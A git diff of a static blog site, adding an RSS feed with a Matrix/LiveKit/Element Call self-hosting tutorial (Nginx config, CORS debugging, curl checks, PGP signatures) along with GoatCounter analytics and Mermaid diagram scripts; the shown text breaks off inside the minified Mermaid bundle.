+  # 3b) LiveKit WS & HTTP (catch-all)
+  location / {
+    proxy_http_version 1.1;
+    proxy_set_header Upgrade $http_upgrade;
+    proxy_set_header Connection "upgrade";
+    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
+    proxy_set_header Origin $http_origin;
+    proxy_set_header Host $host;
+    proxy_set_header X-Forwarded-Proto $scheme;
+    proxy_buffering off;
+    proxy_read_timeout 3600s;
+    proxy_pass http://127.0.0.1:7880;         # livekit
+  }
+}
+

Reload and basic checks:

+
sudo nginx -t && sudo systemctl reload nginx
+# JWT preflight (should return a single ACAO header)
+curl -si -X OPTIONS https://rtc.example.com/sfu/get \
+  -H 'Origin: https://app.element.io' \
+  -H 'Access-Control-Request-Method: POST' \
+  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
+# Expected: one Access-Control-Allow-Origin and 200/204
+
+

Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

+
+

The “waiting for media” debugging story (how I found it)

+

Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

+

What worked:

+
    +
  • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
  • +
  • TURN creds endpoint returned time-limited credentials.
  • +
+

What didn’t appear:

+
    +
  • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
  • +
+

Step 1: prove the WS vhost works (even without auth)

+
curl -v --http1.1 \
+  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
+  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
+  -H 'Sec-WebSocket-Version: 13' \
+  https://rtc.example.com/rtc -o /dev/null
+

Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

+

Step 2: check the browser console

+

The smoking gun in DevTools:

+
Access-Control-Allow-Origin cannot contain more than one origin.
+Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
+

The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

+

Fix: in Nginx I added:

+
proxy_hide_header Access-Control-Allow-Origin;
+add_header Access-Control-Allow-Origin $http_origin always;
+add_header Vary "Origin" always;
+

…and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

+

Step 3: confirm LiveKit side

+

Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

+
+

Useful verification commands

+
# Synapse features (expect MSC4140 true)
+curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
+
+# Well-known with RTC focus
+curl -s https://matrix.example.com/.well-known/matrix/client | jq
+
+# TURN creds (with your access token)
+curl -s -H "Authorization: Bearer $TOKEN" \
+  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
+
+# JWT health
+curl -si -X POST https://rtc.example.com/sfu/get
+
+# LiveKit simple HTTP probe
+curl -si https://rtc.example.com | head
+
+# Nginx logs (look for 101 Switching Protocols when a call starts)
+sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
+

+

Common pitfalls (I hit these so you don’t have to)

+
    +
  • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
  • +
  • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
  • +
  • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
  • +
  • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
  • +
  • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
  • +
  • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
  • +
  • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
  • +
+
+

Final checklist (print me)

+
    +
  • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
  • +
  • /_matrix/client/versions shows "org.matrix.msc4140": true.
  • +
  • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
  • +
  • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
  • +
  • LiveKit logs show participants joining (not just CreateRoom).
  • +
  • /voip/turnServer returns time-limited TURN credentials.
  • +
  • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
  • +
+
+

Credits & tooling

+
    +
  • Matrix Synapse, coTURN, LiveKit, Element Call.
  • +
  • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
  • +
  • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
  • +
+

Happy calling! 🎉

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
+jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
+YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
+PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
+SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
+AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
+m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
+fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
+7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
+ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
+Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
+Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
+=yHZZ
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md
+curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md.asc
+gpg --verify matrix_setup.md.asc matrix_setup.md
+  
+
+ + +]]>
Hello Worldhttps://blog.alipour.eu/posts/hello-world/Mon, 25 Aug 2025 08:53:38 +0000https://blog.alipour.eu/posts/hello-world/<p>This is a test hello world post just to make sure everything works!</p> +<hr> +<div class="signature-block" style="margin-top:1rem"> +<p><strong>Downloads:</strong> +<a href="https://blog.alipour.eu/sources/posts/hello-world.md">Markdown</a> · +<a href="https://blog.alipour.eu/sources/posts/hello-world.md.asc">Signature (.asc)</a> +</p><details class="signature"> +<summary>View OpenPGP signature</summary> +<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE----- +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM +jSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY&#43;8puTLs6Na2t7 +SfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB +IOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX&#43;uFYE +B3ioZqc4wJyDFaGWO&#43;ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC +roZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ +dSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX&#43;odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ +NZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc +62eMm1khV99Gljg&#43;XbAG6A0KI7nO5TS464/JkU1&#43;d/inWjXmSkocTep9p1H/M&#43;nt +7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE&#43;AcGR7cb9CxicTuzs8K&#43;kLzQBQSep +oy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B&#43;5rhDP4uT +6Q1OmbB4xs7jM&#43;WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo= +=kuAP +-----END PGP SIGNATURE----- +</pre> +</details><p><em>Verify locally:</em></p> +<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md +curl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md.asc +gpg --verify hello-world.md.asc hello-world.md +</pre> +</div>This is a test hello world post just to make sure everything works!

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
+jSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY+8puTLs6Na2t7
+SfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB
+IOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX+uFYE
+B3ioZqc4wJyDFaGWO+ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC
+roZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ
+dSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX+odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ
+NZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc
+62eMm1khV99Gljg+XbAG6A0KI7nO5TS464/JkU1+d/inWjXmSkocTep9p1H/M+nt
+7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE+AcGR7cb9CxicTuzs8K+kLzQBQSep
+oy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B+5rhDP4uT
+6Q1OmbB4xs7jM+WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo=
+=kuAP
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md
+curl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md.asc
+gpg --verify hello-world.md.asc hello-world.md
+  
+
+ + +]]>
\ No newline at end of file diff --git a/public-clearnet/js/count.js b/public-clearnet/js/count.js new file mode 100644 index 0000000..5bc80ab --- /dev/null +++ b/public-clearnet/js/count.js @@ -0,0 +1,267 @@ +// GoatCounter: https://www.goatcounter.com +// This file is released under the ISC license: https://opensource.org/licenses/ISC +;(function() { + 'use strict'; + + window.goatcounter = window.goatcounter || {} + + // Load settings from data-goatcounter-settings. + var s = document.querySelector('script[data-goatcounter]') + if (s && s.dataset.goatcounterSettings) { + try { var set = JSON.parse(s.dataset.goatcounterSettings) } + catch (err) { console.error('invalid JSON in data-goatcounter-settings: ' + err) } + for (var k in set) + if (['no_onload', 'no_events', 'allow_local', 'allow_frame', 'path', 'title', 'referrer', 'event'].indexOf(k) > -1) + window.goatcounter[k] = set[k] + } + + var enc = encodeURIComponent + + // Get all data we're going to send off to the counter endpoint. + window.goatcounter.get_data = function(vars) { + vars = vars || {} + var data = { + p: (vars.path === undefined ? goatcounter.path : vars.path), + r: (vars.referrer === undefined ? goatcounter.referrer : vars.referrer), + t: (vars.title === undefined ? goatcounter.title : vars.title), + e: !!(vars.event || goatcounter.event), + s: [window.screen.width, window.screen.height, (window.devicePixelRatio || 1)], + b: is_bot(), + q: location.search, + } + + var rcb, pcb, tcb // Save callbacks to apply later. + if (typeof(data.r) === 'function') rcb = data.r + if (typeof(data.t) === 'function') tcb = data.t + if (typeof(data.p) === 'function') pcb = data.p + + if (is_empty(data.r)) data.r = document.referrer + if (is_empty(data.t)) data.t = document.title + if (is_empty(data.p)) data.p = get_path() + + if (rcb) data.r = rcb(data.r) + if (tcb) data.t = tcb(data.t) + if (pcb) data.p = pcb(data.p) + return data + } + + // Check if a value is "empty" for the purpose of get_data(). + var is_empty = function(v) { return v === null || v === undefined || typeof(v) === 'function' } + + // See if this looks like a bot; there is some additional filtering on the + // backend, but these properties can't be fetched from there. + var is_bot = function() { + // Headless browsers are probably a bot. + var w = window, d = document + if (w.callPhantom || w._phantom || w.phantom) + return 150 + if (w.__nightmare) + return 151 + if (d.__selenium_unwrapped || d.__webdriver_evaluate || d.__driver_evaluate) + return 152 + if (navigator.webdriver) + return 153 + return 0 + } + + // Object to urlencoded string, starting with a ?. + var urlencode = function(obj) { + var p = [] + for (var k in obj) + if (obj[k] !== '' && obj[k] !== null && obj[k] !== undefined && obj[k] !== false) + p.push(enc(k) + '=' + enc(obj[k])) + return '?' + p.join('&') + } + + // Show a warning in the console. + var warn = function(msg) { + if (console && 'warn' in console) + console.warn('goatcounter: ' + msg) + } + + // Get the endpoint to send requests to. + var get_endpoint = function() { + var s = document.querySelector('script[data-goatcounter]') + return (s && s.dataset.goatcounter) ? s.dataset.goatcounter : goatcounter.endpoint + } + + // Get current path. + var get_path = function() { + var loc = location, + c = document.querySelector('link[rel="canonical"][href]') + if (c) { // May be relative or point to different domain. + var a = document.createElement('a') + a.href = c.href + if (a.hostname.replace(/^www\./, '') === location.hostname.replace(/^www\./, '')) + loc = a + } + return (loc.pathname + loc.search) || '/' + } + + // Run function after DOM is loaded. + var on_load = function(f) { + if (document.body === null) + document.addEventListener('DOMContentLoaded', function() { f() }, false) + else + f() + } + + // Filter some requests that we (probably) don't want to count. + window.goatcounter.filter = function() { + if ('visibilityState' in document && document.visibilityState === 'prerender') + return 'visibilityState' + if (!goatcounter.allow_frame && location !== parent.location) + return 'frame' + if (!goatcounter.allow_local && location.hostname.match(/(localhost$|^127\.|^10\.|^172\.(1[6-9]|2[0-9]|3[0-1])\.|^192\.168\.|^0\.0\.0\.0$)/)) + return 'localhost' + if (!goatcounter.allow_local && location.protocol === 'file:') + return 'localfile' + if (localStorage && localStorage.getItem('skipgc') === 't') + return 'disabled with #toggle-goatcounter' + return false + } + + // Get URL to send to GoatCounter. + window.goatcounter.url = function(vars) { + var data = window.goatcounter.get_data(vars || {}) + if (data.p === null) // null from user callback. + return + data.rnd = Math.random().toString(36).substr(2, 5) // Browsers don't always listen to Cache-Control. + + var endpoint = get_endpoint() + if (!endpoint) + return warn('no endpoint found') + + return endpoint + urlencode(data) + } + + // Count a hit. + window.goatcounter.count = function(vars) { + var f = goatcounter.filter() + if (f) + return warn('not counting because of: ' + f) + var url = goatcounter.url(vars) + if (!url) + return warn('not counting because path callback returned null') + + if (!navigator.sendBeacon(url)) { + // This mostly fails due to being blocked by CSP; try again with an + // image-based fallback. + var img = document.createElement('img') + img.src = url + img.style.position = 'absolute' // Affect layout less. + img.style.bottom = '0px' + img.style.width = '1px' + img.style.height = '1px' + img.loading = 'eager' + img.setAttribute('alt', '') + img.setAttribute('aria-hidden', 'true') + + var rm = function() { if (img && img.parentNode) img.parentNode.removeChild(img) } + img.addEventListener('load', rm, false) + document.body.appendChild(img) + } + } + + // Get a query parameter. + window.goatcounter.get_query = function(name) { + var s = location.search.substr(1).split('&') + for (var i = 0; i < s.length; i++) + if (s[i].toLowerCase().indexOf(name.toLowerCase() + '=') === 0) + return s[i].substr(name.length + 1) + } + + // Track click events. + window.goatcounter.bind_events = function() { + if (!document.querySelectorAll) // Just in case someone uses an ancient browser. + return + + var send = function(elem) { + return function() { + goatcounter.count({ + event: true, + path: (elem.dataset.goatcounterClick || elem.name || elem.id || ''), + title: (elem.dataset.goatcounterTitle || elem.title || (elem.innerHTML || '').substr(0, 200) || ''), + referrer: (elem.dataset.goatcounterReferrer || elem.dataset.goatcounterReferral || ''), + }) + } + } + + Array.prototype.slice.call(document.querySelectorAll("*[data-goatcounter-click]")).forEach(function(elem) { + if (elem.dataset.goatcounterBound) + return + var f = send(elem) + elem.addEventListener('click', f, false) + elem.addEventListener('auxclick', f, false) // Middle click. + elem.dataset.goatcounterBound = 'true' + }) + } + + // Add a "visitor counter" frame or image. + window.goatcounter.visit_count = function(opt) { + on_load(function() { + opt = opt || {} + opt.type = opt.type || 'html' + opt.append = opt.append || 'body' + opt.path = opt.path || get_path() + opt.attr = opt.attr || {width: '200', height: (opt.no_branding ? '60' : '80')} + + opt.attr['src'] = get_endpoint() + 'er/' + enc(opt.path) + '.' + enc(opt.type) + '?' + if (opt.no_branding) opt.attr['src'] += '&no_branding=1' + if (opt.style) opt.attr['src'] += '&style=' + enc(opt.style) + if (opt.start) opt.attr['src'] += '&start=' + enc(opt.start) + if (opt.end) opt.attr['src'] += '&end=' + enc(opt.end) + + var tag = {png: 'img', svg: 'img', html: 'iframe'}[opt.type] + if (!tag) + return warn('visit_count: unknown type: ' + opt.type) + + if (opt.type === 'html') { + opt.attr['frameborder'] = '0' + opt.attr['scrolling'] = 'no' + } + + var d = document.createElement(tag) + for (var k in opt.attr) + d.setAttribute(k, opt.attr[k]) + + var p = document.querySelector(opt.append) + if (!p) + return warn('visit_count: element to append to not found: ' + opt.append) + p.appendChild(d) + }) + } + + // Make it easy to skip your own views. + if (location.hash === '#toggle-goatcounter') { + if (localStorage.getItem('skipgc') === 't') { + localStorage.removeItem('skipgc', 't') + alert('GoatCounter tracking is now ENABLED in this browser.') + } + else { + localStorage.setItem('skipgc', 't') + alert('GoatCounter tracking is now DISABLED in this browser until ' + location + ' is loaded again.') + } + } + + if (!goatcounter.no_onload) + on_load(function() { + // 1. Page is visible, count request. + // 2. Page is not yet visible; wait until it switches to 'visible' and count. + // See #487 + if (!('visibilityState' in document) || document.visibilityState === 'visible') + goatcounter.count() + else { + var f = function(e) { + if (document.visibilityState !== 'visible') + return + document.removeEventListener('visibilitychange', f) + goatcounter.count() + } + document.addEventListener('visibilitychange', f) + } + + if (!goatcounter.no_events) + goatcounter.bind_events() + }) +})(); diff --git a/public-clearnet/js/init-mermaid-umd.js b/public-clearnet/js/init-mermaid-umd.js new file mode 100644 index 0000000..6f66698 --- /dev/null +++ b/public-clearnet/js/init-mermaid-umd.js @@ -0,0 +1,21 @@ +(function () { + function render() { + const nodes = document.querySelectorAll('.mermaid'); + console.log('[mermaid] nodes on page:', nodes.length); + + if (!window.mermaid) { + console.error('[mermaid] window.mermaid is missing'); + return; + } + window.mermaid.initialize({ startOnLoad: false }); + window.mermaid.run({ querySelector: '.mermaid' }); + console.log('[mermaid] run() called'); + } + + if (document.readyState === 'loading') { + document.addEventListener('DOMContentLoaded', render, { once: true }); + } else { + render(); + } +})(); + diff --git a/public-clearnet/js/init-mermaid.js b/public-clearnet/js/init-mermaid.js new file mode 100644 index 0000000..5ae4c1c --- /dev/null +++ b/public-clearnet/js/init-mermaid.js @@ -0,0 +1,17 @@ + +// Uses global window.mermaid provided by mermaid.min.js +function renderMermaid() { + if (!window.mermaid) { + console.error('Mermaid not found on window'); + return; + } + window.mermaid.initialize({ startOnLoad: false }); + window.mermaid.run({ querySelector: '.mermaid' }); +} + +if (document.readyState === 'loading') { + document.addEventListener('DOMContentLoaded', renderMermaid, { once: true }); +} else { + renderMermaid(); +} + diff --git a/public-clearnet/js/mermaid.esm.min.mjs b/public-clearnet/js/mermaid.esm.min.mjs new file mode 100644 index 0000000..5a8024b --- /dev/null +++ b/public-clearnet/js/mermaid.esm.min.mjs @@ -0,0 +1,14 @@ +import{a as ht}from"./chunks/mermaid.esm.min/chunk-4HFYJGYH.mjs";import{a as Yt}from"./chunks/mermaid.esm.min/chunk-ASAHGCDZ.mjs";import{a as Ut,b as qt}from"./chunks/mermaid.esm.min/chunk-F3RBCZRS.mjs";import{a as Bt}from"./chunks/mermaid.esm.min/chunk-W6CKT3PL.mjs";import"./chunks/mermaid.esm.min/chunk-TVVDRG3C.mjs";import"./chunks/mermaid.esm.min/chunk-RV6DXAHM.mjs";import"./chunks/mermaid.esm.min/chunk-EQI6KKA3.mjs";import"./chunks/mermaid.esm.min/chunk-LM6QDVU5.mjs";import"./chunks/mermaid.esm.min/chunk-5V7UUW6L.mjs";import{b as Ot,d as Pt}from"./chunks/mermaid.esm.min/chunk-GOL2OBWC.mjs";import{b as Vt,j as yt,l as $t,m as V,n as Nt,o as Ht}from"./chunks/mermaid.esm.min/chunk-EFRVIJHI.mjs";import"./chunks/mermaid.esm.min/chunk-THXVA4DE.mjs";import{$ as z,E as Ft,G as It,H as X,I as rt,J as W,K as _t,L as Gt,N as zt,a as St,aa as K,h as tt,k as ut,l as Mt,m as At,n as Tt,o as Dt,p as Ct,q as G,r as Rt,s as Y,u as kt,y as jt}from"./chunks/mermaid.esm.min/chunk-KXVH62NG.mjs";import{b as g,c as lt,h as k}from"./chunks/mermaid.esm.min/chunk-63GW7ZVL.mjs";import{d as xt}from"./chunks/mermaid.esm.min/chunk-IQQE2MEC.mjs";import"./chunks/mermaid.esm.min/chunk-A4ITRWGT.mjs";import{a as r}from"./chunks/mermaid.esm.min/chunk-GTKDMUJJ.mjs";var Pe=r(t=>/^\s*C4Context|C4Container|C4Component|C4Dynamic|C4Deployment/.test(t),"detector"),Fe=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/c4Diagram-Q5SP5FFD.mjs");return{id:"c4",diagram:t}},"loader"),Ie={id:"c4",detector:Pe,loader:Fe},Xt=Ie;var Wt="flowchart",_e=r((t,e)=>e?.flowchart?.defaultRenderer==="dagre-wrapper"||e?.flowchart?.defaultRenderer==="elk"?!1:/^\s*graph/.test(t),"detector"),Ge=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/flowDiagram-UML6HZQP.mjs");return{id:Wt,diagram:t}},"loader"),ze={id:Wt,detector:_e,loader:Ge},Kt=ze;var Qt="flowchart-v2",Ve=r((t,e)=>e?.flowchart?.defaultRenderer==="dagre-d3"?!1:(e?.flowchart?.defaultRenderer==="elk"&&(e.layout="elk"),/^\s*graph/.test(t)&&e?.flowchart?.defaultRenderer==="dagre-wrapper"?!0:/^\s*flowchart/.test(t)),"detector"),$e=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/flowDiagram-UML6HZQP.mjs");return{id:Qt,diagram:t}},"loader"),Ne={id:Qt,detector:Ve,loader:$e},Jt=Ne;var He=r(t=>/^\s*erDiagram/.test(t),"detector"),Ue=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/erDiagram-MBDK6S7D.mjs");return{id:"er",diagram:t}},"loader"),qe={id:"er",detector:He,loader:Ue},Zt=qe;var tr="gitGraph",Be=r(t=>/^\s*gitGraph/.test(t),"detector"),Ye=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/gitGraphDiagram-JCGM6PWI.mjs");return{id:tr,diagram:t}},"loader"),Xe={id:tr,detector:Be,loader:Ye},rr=Xe;var er="gantt",We=r(t=>/^\s*gantt/.test(t),"detector"),Ke=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/ganttDiagram-SAESIEWH.mjs");return{id:er,diagram:t}},"loader"),Qe={id:er,detector:We,loader:Ke},ar=Qe;var ir="info",Je=r(t=>/^\s*info/.test(t),"detector"),Ze=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/infoDiagram-GKI3LBYJ.mjs");return{id:ir,diagram:t}},"loader"),or={id:ir,detector:Je,loader:Ze};var ta=r(t=>/^\s*pie/.test(t),"detector"),ra=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/pieDiagram-QB62DFGK.mjs");return{id:"pie",diagram:t}},"loader"),nr={id:"pie",detector:ta,loader:ra};var sr="quadrantChart",ea=r(t=>/^\s*quadrantChart/.test(t),"detector"),aa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/quadrantDiagram-AGVETKZM.mjs");return{id:sr,diagram:t}},"loader"),ia={id:sr,detector:ea,loader:aa},cr=ia;var mr="xychart",oa=r(t=>/^\s*xychart(-beta)?/.test(t),"detector"),na=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/xychartDiagram-6J6QOAP6.mjs");return{id:mr,diagram:t}},"loader"),sa={id:mr,detector:oa,loader:na},pr=sa;var dr="requirement",ca=r(t=>/^\s*requirement(Diagram)?/.test(t),"detector"),ma=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/requirementDiagram-BJFPASL3.mjs");return{id:dr,diagram:t}},"loader"),pa={id:dr,detector:ca,loader:ma},fr=pa;var gr="sequence",da=r(t=>/^\s*sequenceDiagram/.test(t),"detector"),fa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/sequenceDiagram-W4XLKSBU.mjs");return{id:gr,diagram:t}},"loader"),ga={id:gr,detector:da,loader:fa},lr=ga;var ur="class",la=r((t,e)=>e?.class?.defaultRenderer==="dagre-wrapper"?!1:/^\s*classDiagram/.test(t),"detector"),ua=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/classDiagram-FKO7XAE5.mjs");return{id:ur,diagram:t}},"loader"),Da={id:ur,detector:la,loader:ua},Dr=Da;var yr="classDiagram",ya=r((t,e)=>/^\s*classDiagram/.test(t)&&e?.class?.defaultRenderer==="dagre-wrapper"?!0:/^\s*classDiagram-v2/.test(t),"detector"),xa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/classDiagram-v2-XZHHGUJO.mjs");return{id:yr,diagram:t}},"loader"),ha={id:yr,detector:ya,loader:xa},xr=ha;var hr="state",Ea=r((t,e)=>e?.state?.defaultRenderer==="dagre-wrapper"?!1:/^\s*stateDiagram/.test(t),"detector"),wa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/stateDiagram-ZFDIVMDF.mjs");return{id:hr,diagram:t}},"loader"),La={id:hr,detector:Ea,loader:wa},Er=La;var wr="stateDiagram",ba=r((t,e)=>!!(/^\s*stateDiagram-v2/.test(t)||/^\s*stateDiagram/.test(t)&&e?.state?.defaultRenderer==="dagre-wrapper"),"detector"),va=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/stateDiagram-v2-GQU47BET.mjs");return{id:wr,diagram:t}},"loader"),Sa={id:wr,detector:ba,loader:va},Lr=Sa;var br="journey",Ma=r(t=>/^\s*journey/.test(t),"detector"),Aa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/journeyDiagram-E42M6OD5.mjs");return{id:br,diagram:t}},"loader"),Ta={id:br,detector:Ma,loader:Aa},vr=Ta;var Ca=r((t,e,a)=>{g.debug(`rendering svg for syntax error +`);let i=Yt(e),o=i.append("g");i.attr("viewBox","0 0 2412 512"),Gt(i,100,512,!0),o.append("path").attr("class","error-icon").attr("d","m411.313,123.313c6.25-6.25 6.25-16.375 0-22.625s-16.375-6.25-22.625,0l-32,32-9.375,9.375-20.688-20.688c-12.484-12.5-32.766-12.5-45.25,0l-16,16c-1.261,1.261-2.304,2.648-3.31,4.051-21.739-8.561-45.324-13.426-70.065-13.426-105.867,0-192,86.133-192,192s86.133,192 192,192 192-86.133 192-192c0-24.741-4.864-48.327-13.426-70.065 1.402-1.007 2.79-2.049 4.051-3.31l16-16c12.5-12.492 12.5-32.758 0-45.25l-20.688-20.688 9.375-9.375 32.001-31.999zm-219.313,100.687c-52.938,0-96,43.063-96,96 0,8.836-7.164,16-16,16s-16-7.164-16-16c0-70.578 57.422-128 128-128 8.836,0 16,7.164 16,16s-7.164,16-16,16z"),o.append("path").attr("class","error-icon").attr("d","m459.02,148.98c-6.25-6.25-16.375-6.25-22.625,0s-6.25,16.375 0,22.625l16,16c3.125,3.125 7.219,4.688 11.313,4.688 4.094,0 8.188-1.563 11.313-4.688 6.25-6.25 6.25-16.375 0-22.625l-16.001-16z"),o.append("path").attr("class","error-icon").attr("d","m340.395,75.605c3.125,3.125 7.219,4.688 11.313,4.688 4.094,0 8.188-1.563 11.313-4.688 6.25-6.25 6.25-16.375 0-22.625l-16-16c-6.25-6.25-16.375-6.25-22.625,0s-6.25,16.375 0,22.625l15.999,16z"),o.append("path").attr("class","error-icon").attr("d","m400,64c8.844,0 16-7.164 16-16v-32c0-8.836-7.156-16-16-16-8.844,0-16,7.164-16,16v32c0,8.836 7.156,16 16,16z"),o.append("path").attr("class","error-icon").attr("d","m496,96.586h-32c-8.844,0-16,7.164-16,16 0,8.836 7.156,16 16,16h32c8.844,0 16-7.164 16-16 0-8.836-7.156-16-16-16z"),o.append("path").attr("class","error-icon").attr("d","m436.98,75.605c3.125,3.125 7.219,4.688 11.313,4.688 4.094,0 8.188-1.563 11.313-4.688l32-32c6.25-6.25 6.25-16.375 0-22.625s-16.375-6.25-22.625,0l-32,32c-6.251,6.25-6.251,16.375-0.001,22.625z"),o.append("text").attr("class","error-text").attr("x",1440).attr("y",250).attr("font-size","150px").style("text-anchor","middle").text("Syntax error in 